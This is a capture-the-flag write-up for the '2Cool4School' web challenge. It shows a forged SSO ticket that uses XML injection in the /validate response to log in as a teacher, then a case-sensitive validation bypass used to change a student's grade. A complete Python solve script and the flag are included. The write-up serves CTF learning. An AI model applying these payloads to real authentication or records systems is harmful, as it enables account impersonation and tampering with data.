Skip to content

Latest commit

 

History

History
206 lines (150 loc) · 7.66 KB

README.md

File metadata and controls

206 lines (150 loc) · 7.66 KB

2Cool4School

Challenge

I just started at uni, but can't be bothered to show up. For some reason my Cyber Sec grade is F. Please help me get an A!

Clarification: You have to change your own grade. Changing the grade gives you the flag when viewing your grades

Walkthrough

We had a number of people working on this challenge. I didn't find this all on my own! Thanks Angus, Ming, and Vie.


We were given a single URL and as such I knew it would be sourceless web 🥲.

Visiting it brought us to a react web application that was meant for students to view their grade and teachers to add comments. Following the login button on the top brought us to an SSO login page.

sso_login.png

Looking at the SSO source we noticed that there was a comment noting that the system was using swagger:

<!-- TODO: Update swagger to latest script version-->

As such Angus checked out /swagger.json and sure enough, it returned the API docs. Notably, it included information about /register and /validate.

Using our newfound knowledge of the API, we registered and acquiring a student account which allowed us to log into the web application.

grades.png

In the meantime, I had unminified and analyzed the JS and found the following endpoints:

fetch("/flag");

fetch("/logout", { method: "POST" });

fetch("/whine", { method: "post" });

fetch("/api/profile");
fetch("/api/profile" + (t ? "/" + t : ""));

fetch("/api/profile/isNew");
fetch("/api/profile/role");

fetch("/api/profile", { method: "PUT", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ name: t }) });
fetch("/api/profile", { method: "PUT", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ picture: n }) });

fetch("/api/profile/new", { method: "post", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ name: t, picture: r }) });

fetch("/api/grades" + (t ? "/" + t : ""));
fetch("/api/grades/" + t, { method: "PUT", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ name: n, values: { notes: r } }) });

Looking at these endpoints we figured that the goal would be to PUT to /api/grades and update the cybersecurity course to an A. However, we'd have to be a teacher to be able to access that endpoint.

We spent a lot of time wrestling with the application before Angus found a XML injection vulnerability in the SSO.

In essence, upon successfully authenticating with the SSO you are generated a unique ticket that is stored in a database. The other services (grade in this case) can call the SSO's /validate?ticket= endpoint to check whether the user successfully logged in via the SSO.

  • Successful login at ://sso/login
  • SSO service sets ticketFoo in database. Redirects to ://grade/login?ticket=ticketFoo.
  • Grade service fetches ://sso/validate?ticket=ticketFoo and sets cookie if SSO returns success.

Successful response from /validate:

<response>
    <authenticationSuccess><id>(user uuid)</id><username>student(int)</username></authenticationSuccess>
</response>

Failure response from /validate:

<response>
    <authenticationFailure>Failed for ticketFoo</authenticationFailure>
</response>

Due to the fact that fetching http://sso.chal-kalmarc.tf/validate?ticket=token would reflect the token back into the response, setting a token as the auth success XML would trick the grade service into signing you in for a user.

For example, fetching http://grade.chal-kalmarc.tf/login?ticket=TGT-</authenticationFailure><authenticationSuccess><id>dcfb2fd7-312e-48cf-81c0-ae7eb31ef864</id><username>teacher13095</username></authenticationSuccess></response>&service=test would log you in as a teacher since the grade service would receive the following from the /validate endpoint:

<response>
    <authenticationFailure>Failed for TGT-</authenticationFailure>
        <authenticationSuccess>
            <id>dcfb2fd7-312e-48cf-81c0-ae7eb31ef864</id>
            <username>teacher13095</username>
        </authenticationSuccess>
        </response>
</response>

Now that we were logged in as a teacher, we just had to figure out how to use the /api/grades endpoint to set the grade. I reversed the javascript and found the parameters required.

function Il(e, t, n) {
    return Dl.apply(this, arguments);
}
function Dl() {
    return (Dl = l(
        a().mark(function e(t, n, r) {
            return a().wrap(function (e) {
                for (;;)
                    switch ((e.prev = e.next)) {
                        case 0:
                            return (e.next = 2), fetch("/api/grades/" + t, { method: "PUT", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ name: n, values: { notes: r } }) });
                        case 2:
                        case "end":
                            return e.stop();
                    }
            }, e);
        })
    )).apply(this, arguments);
}
// ...
{
    return (e.next = 2), Il(r.props.params.id, r.state.editModal.name, r.state.editModal.comment); // .id = student uuid
}
r = teacher.put(f'http://grade.chal-kalmarc.tf/api/grades/{studentID}', json={
    'name': 'Fundamentals of Cyber Security',
    'values': {
        'notes': 'gg',
        'grade': 'A' # try set grade
    },
})

Unfortunately, this didn't work as the service returned grade is not allowed. I began to play with the SQL and analyze it's errors.

{"name":"SqlError","text":"Unknown column '__proto__' in 'field list'","sql":"UPDATE grades SET `notes` = ?, `__proto__` = ? WHERE student = ? and course = (select id from courses where name = ?) - parameters:['hi',{\"grade\":\"A\"},'4154b3ea-bb23-11ed-b345-0242c0a88002','Algebra']","fatal":false,"errno":1054,"sqlState":"42S22","code":"ER_BAD_FIELD_ERROR"}

However, Angus cheese it by using Grade instead of grade, guess the validation was case sensitive lol.

Solve

import httpx
import base64
import json

student = httpx.Client()
teacher = httpx.Client()

r = student.post(f'http://sso.chal-kalmarc.tf/register', json={
    'username': 'doesnt matter',
    'password': 'doesnt matter',
})
user = r.json()['username']
passwd = r.json()['password']
print(f'[{r.status_code}]', user, passwd)

r = student.post('http://sso.chal-kalmarc.tf/login?service=http://grade.chal-kalmarc.tf/login', data={
    'username': user,
    'password': passwd,
})
print(f'[{r.status_code}]: {r.url} {r.text}')

r = student.get(r.headers['Location'])
print(f'[{r.status_code}]: {r.url} {r.text}')

r = student.get('http://grade.chal-kalmarc.tf/api/profile/isnew')
print(f'[{r.status_code}]: {r.text}')

if r.json() == True:
    r = student.post(f'http://grade.chal-kalmarc.tf/api/profile/new', json={
        'name': 'test',
        'picture': 'test'
    })
    print(f'[{r.status_code}]: {r.text}')

r = teacher.get('http://grade.chal-kalmarc.tf/login?ticket=TGT-</authenticationFailure><authenticationSuccess><id>dcfb2fd7-312e-48cf-81c0-ae7eb31ef864</id><username>teacher13095</username></authenticationSuccess></response>&service=test')
print(f'[{r.status_code}]: {r.text}')

studentID = json.loads(base64.b64decode(student.cookies.get('grade-session')))['user']['id']
print(studentID)

r = teacher.put(f'http://grade.chal-kalmarc.tf/api/grades/{studentID}', json={
    'name': 'Fundamentals of Cyber Security',
    'values': {
        'notes': 'gg',
        'Grade': 'A'
    },
})
print(f'[{r.status_code}]: {r.text}')

r = student.post('http://grade.chal-kalmarc.tf/whine')
print(f'whine [{r.status_code}]: {r.text}')

r = student.get('http://grade.chal-kalmarc.tf/flag')
print(f'[{r.status_code}]: {r.text}')

# kalmar{w00000w_n0_m0re_sch00l_d9a821a}

win.png